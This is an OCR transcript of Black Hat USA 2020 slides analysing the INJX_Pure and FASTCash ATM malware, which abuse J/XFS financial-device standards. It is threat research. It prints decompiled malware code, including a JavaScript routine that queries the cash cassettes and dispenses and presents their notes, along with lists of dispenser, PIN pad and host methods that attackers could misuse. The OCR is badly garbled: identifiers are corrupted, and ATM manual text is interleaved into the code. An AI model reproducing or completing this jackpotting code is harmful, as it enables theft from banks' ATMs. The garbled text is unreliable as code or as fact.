J/XES CWA 16008-4 (2009) - J/eXtensions for Financial Services (J/XFS) for the Java Platform - Text Input/Output Device Class Interface -
Programmer's Reference - release 2009

J/XES CWA 16008-5 (2009)_- J/eXtensions for Financial Services (J/XFS) for the Java Platform - Cash Dispenser, Recycler and ATM Device Class
Interface - Programmer's Reference - release 2009

J/XES CWA 16008-6 (2009)_- J/eXtensions for Financial Services (J/XFS) for the Java Platform - Printer Device Class Interface - Programmer's
Reference - release 2009

J/XES CWA 16008-7 (2009) - J/eXtensions for Financial Services (J/XFS) for the Java Platform - Alarm Device Class Interface - Programmer's
Reference - release 2009

J/XES CWA 16008-8 (2009)_- J/eXtensions for Financial Services (J/XFS) for the Java Platform - Sensors and Indicators Unit Device Class
Interface - Programmer's Reference - release 2009

J/XES CWA 16008-9 (2009) - J/eXtensions for Financial Services (J/XFS) for the Java Platform - Depository Device Class Interface -
Programmer's Reference - release 2009

J/XES CWA 16008-10(2009) - J/eXtensions for Financial Services (J/XFS) for the Java Platform - Check Reader/Scanner Device Class Interface -
Programmer's Reference - release 2009

J/XES CWA 16008-11(2009) - J/eXtensions for Financial Services (J/XFS for the Java Platform - Camera Device Class Interface - Programmer's
Reference - release 2009

J/XES CWA 16008-12(2009) - J/eXtensions for Financial Services (J/XFS) for the Java Platform - Vendor Dependant Mode Specification -
Programmer's Reference - Release 2009
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INJX_Pure — getCashUnit
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5.2.2

JxfsCashUnitStatus
Extends Implements
IxtsType
Ouery Return
getCashlmt JxfsCashUnit

BlackHat USA 2020

4.2.8 JxfsCashUnit

4281 \Usage

Information about the status and contents of the logical and physical cash units. Each logical

bill or coin type cash unit can be composed of one or more physical cash units. All counters are

pure software counters. Due to this fact these values can differ from the actual physical cash

counts.

4.2.8.2 Summary

N

4.2.8.3 Properties
4.2.8.31 rejectCount (RW)

Type
Remarks

428.4 Methods
4.2.8.41 addLogicalUnit

Syntax
Remarks
Parameter

4.2.8.42 getLogicalUnits

Syntax
Remarks

int
Counter for all reject actions in the device.

boolean addLogicalUnit{JxfsLogicalCashUnit logicalCashUnit )
Add a logical cash unit.

Type Name
JxfsLogicalCashUnit logicalCashUnit

Description

Add a logical cash
unit to the internal list
of cash units,

Java.util. Vector getLogicalUnits()
Returns vector of SxfslogicalCashUnit.

Extends Implements

IxfsType

Property Type Access
rejectCount int RW
Constructor Parameter Parameter-Tvpe
TxtsCashlUnit rejectCount int
Method Return

petProperty Property

setProperty vioid

addLogicalUnit boalean

getLogicallnits java.util. Vector
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INJX_Pure — getNumberofCashUnits?

HUGE credit to Frank Boldewin for finding the source code referenced below on VirusTotal:
https://github.com/fboldewin/Libertad-y-gloria---A-Mexican-cyber-heist-story---CyberCrimeCon19-Singapore

public static int AmountOfStackedNotes() {
log.debug{"Begin."};
int 1 = 8;
for (byte b = 8; b < Peripheral.NotesDeposit.getlumberdfCashlUnits(); b++)

1= ({int)({di + Peripheral.Nutesﬂepusit|get[ashUn1t(thgetﬁccepted(} * Peripheral.NotesDeposit.getlashUnitib).getValue());
log.debug({"Return: "™ + 13;
return i;

else 1t [Golobal.ldOperacich == 38) 1
for (byte b = @; b « Peripheral.NotesDeposit.getNumberOfCashUnits(); b++) {
if (Peripheral.NotesDeposit jgetCashUnit(b).JgetValue() == arraydfInt[b2] && Peripheral.NotesDeposit.getCashlUnit(b).getIsol).equi
i += Peripheral.NDtESDEpn!TfTEEfEEEﬁUﬁTth}.getﬂcceptedt};
j += Peripheral.MotesDeposit.getCashUnit(b).getdccepted();

BlackHat USA 2020 50



INJX_Pure — NotesDeposit

Taking it one step further...

BlackHat USA 2020

accept

disablelnsert

eject

ejectReject

ejectStack

enablelnsert
enablelnsertByNotesType
getCanRetract

getCashUnitEx
getCashUnitInfoEx
getCommandStatus
getDeviceStatus

FASTCash and INJX_Pure: How Threat Actors Use Public Standards for Financial Fraud | Kevin Perlow

getDeviceStatusString
getlnputShutterStatus
getltemsTransportStatusString
getMaxStackerCapacity
getMediaStatus
getMediaStatusString

getNumberOfRejectedNotes
getNumberOfRetractedNotes
getNumberOfRetractOperations
getOutputStatus
getOutputStatusString
getRejectBinStatus

getRejectBinStatusString
getShutterStatusString
getStackerStatus
getStackerStatusString
getVendorinfoError
reset

retract

stack

waitForEject
waitForEjectReject
waitForEjectStack
waitForinsert
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What else could the attackers have done?

Screen

* disableKeys

* enableKeys
 executeCommand
 extraCommand

* getTimeOut

* mask

* maskAndWaitAndTimeOut

Host

* isOnline
* receive
* reset

* send

BlackHat USA 2020

* maskWithoutShow

* setAutoEnter

* setTimeOut

* show

* waitAction

e waitActionWithoutPinPadControl

System Service

e alive

* getDate

» getRebootStatus
* getYear

* reset

PinPad

* addPinPadListener

* encrypt3DesMac

e getSerialNumber
 removePinPadListener
* reset
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INJX_Pure — “/d” Dispense

wvar Global=Packages.java.lang.Class.forName ("injx2.Glocbhal™);

wvar Global=Glokal.cas=st (Global.newIn=tance()):; . ]
var Peripheral=Global.runningclass.get ("Peripheral™):; o Ye I I OW = LI ke Iy X FS/B u I It O n X FS
war Peripheral=Peripheral.cast (Peripheral.newInstance()};
var jsd=Peripheral.Dispenser: P O ra n ge — U n C | ea r
jazd.clearDispenseValues();
jed.removelinomalyHandler ("Dispenser™) ;
var todispen=[%%list_dispenseti];
wvar cassette=[];
var resume="";
for (var j = 0; j < jsd.getNumberOfCashUnits(): j++) {
resume4+=j=d.getCashlUnit (j) .getValue () +":"+j=d.gecCashUnit (j) .gechctual ()+"";
if (parselnt(jsd.getCashlUnit(j) .getValue () )<=0 || j>=todispen.length){
continue;

if (todispen[j]>¥isd.gecCasnUnit (). gericrual ()-100) ¢ DEsCRIPTION:

todispen[jl{isd.getCashUnit (j)|.gethctual ()-100; The Casn Dnseesser SETUP option allows the terminal operator to perform the
following functions:

cassette.push { {denom: |j5d.getCa.3'nUnit. [jl .getValue (), id: ji):

} 1. Gexeral Sermivcs. This function allows user to set cassette status
print (resume+"") ; reporting, value of trap status threshold, set retract cash option, and set

cassette=cassette.sort (function(a, b){return a.denom - b.denom}); wait for bills taken option.
for(var ci=cassette.length-l;ci>=0;ci——){ . . . .
if (odispen[cassette[ci] ['id']]1>0) { 1. 912 Host Locicar CasserTe Marring, This function allows user to map
var roundz=Math.ceil (todispen[cassette[ci]['id']]1/40):; the 912 logical name as specified by the host network or bank.
for(var k=0; k<roundx;k++ " 4 — . . !
( 1 3. Cosncure Cassertes. This function allows configuring the cassette

jed.clearDispenseValues () ; . . . "
) . ) parameters for country code, currency value, and media size specifications.
var amount=todispen[cassette[ci]['id"]]: - -

if (amount>40) {

amount=40; ATM manual in OSINT

todi=spen[cassette[ci] ['id"'] ] —=amount;
jad.getCashUnit (ci) .setDispense (amount) ;
print (cazsette[ci] ['id']+":"+cassecte[ci] ["denom' ]+ "+amount+"")

Dispense function

[var = = jad.dispense (} /| C
if(!'x){ print ("ERRCR:"+j=d.getCommandStatusString () +"") ;break:}
wvar v = jsd.present();

var z = jad.waitForBillsTaken (30);
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INJX_Pure — Dispense

3.3 |JxfsCashDispenserControl
3.31  Summary
Extends Imple ments
IIxfsBaseControl
Property Type Access
capabihties JafsCapabilities R
mixTable Java.util lang. Vector of JxfsMixTable | RW
uvy boolean W
CUTTENCIES Java.util_ Vector of JxfsCurrency K
Method Return 3.3.3.2 dispense
petProperty Property
setProperty void Syntax identificationID dispense(JxfsDispenseRequest dispenseRequest )
15 P_,r;;pf”_‘l' bhoolean throws J.\f\'E.\'(‘E[”iO".'
denominate wdentificationID
dispense | identificationID Remarks Dlﬁpcnscs the amount of money which is specified by the )
dispenscExec dentificationlD JxfsDenomination. The cash is dispensed at the side specified with the
startExchange identificationID posifion propetty.
tndf?xuhangc .Ldtnll.ijua[.mnl[} Parameter Type Name Description
endExchange (no identificationil) JxfsDispenseRequest  dispenseRequest Contains all
parumu:tn::rh‘] - S— parameter used for
openSafeDoor identification]D dispensing cash.
calibrateCashUnit identification] D
getDate Time identificationID
setDateTime identificationID
queryOrder identificationID
removeOrder identification]D
queryCashUnit identificationID
updateCashl/mt identificationID
reset identificationID
testCashUmits identificationl D
queryDenominations identification]D
updateDenominations identificationID
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XFS Approach

* Possibility of proprietary implementations
* Increased development time
 With INJX_Pure, someone has to:

1) Deploy the malware
2) Be at the ATM at the right time
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Concluding Thoughts

 Malicious activity facilitated by legitimate, widely-used financial standards
 Two different approaches to accomplish the same thing

* High operational requirements: money mules, long-term intrusions
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